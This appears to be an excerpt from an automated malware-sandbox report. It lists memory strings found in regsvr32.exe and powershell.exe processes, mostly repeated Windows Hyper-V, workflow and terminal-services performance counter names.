Source: regsvr32.exe, 00000008.00000003.1801309074.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5068Address Space Switches/sec5070Address Domain Flushes/sec5072Address Space Flushes/sec5074Global GVA Range Flushes/sec5076Local Flushed GVA Ranges/sec5078Page Table Evictions/sec5080Page Table Reclamations/sec5082Page Table Re
Source: regsvr32.exe, 00000008.00000003.1800581140.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1795089953.00000000026E1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1799588227.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1799915558.00000000026EF000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1795264291.00000000026F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Se
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partitionn
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service4%?
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid PartitionB={
Source: regsvr32.exe, 00000008.00000003.1807239106.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O T
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Virtual Processor
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partition
Source: regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processorys
Source: regsvr32.exe, 00000010.00000003.1993427043.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1973208647.00000000012B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flus
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: regsvr32.exe, 00000010.00000003.1976260706.0000000002C2E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1976436942.0000000002C2E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1973586115.0000000002C16000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1974619159.0000000002C2E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1994468991.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1975765105.0000000002C2E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1995226542.0000000002C01000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1973991341.0000000002C2E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1994373339.0000000002C23000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1971260445.0000000002C33000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.1994063967.0000000002C23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor
Source: regsvr32.exe, 00000010.00000003.1995438252.0000000002CD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Ro
Source: regsvr32.exe, 00000010.00000003.1975484551.00000000012BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ctive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated
Source: regsvr32.exe, 00000010.00000003.1993640876.0000000002C42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Tim
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor.mui`
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	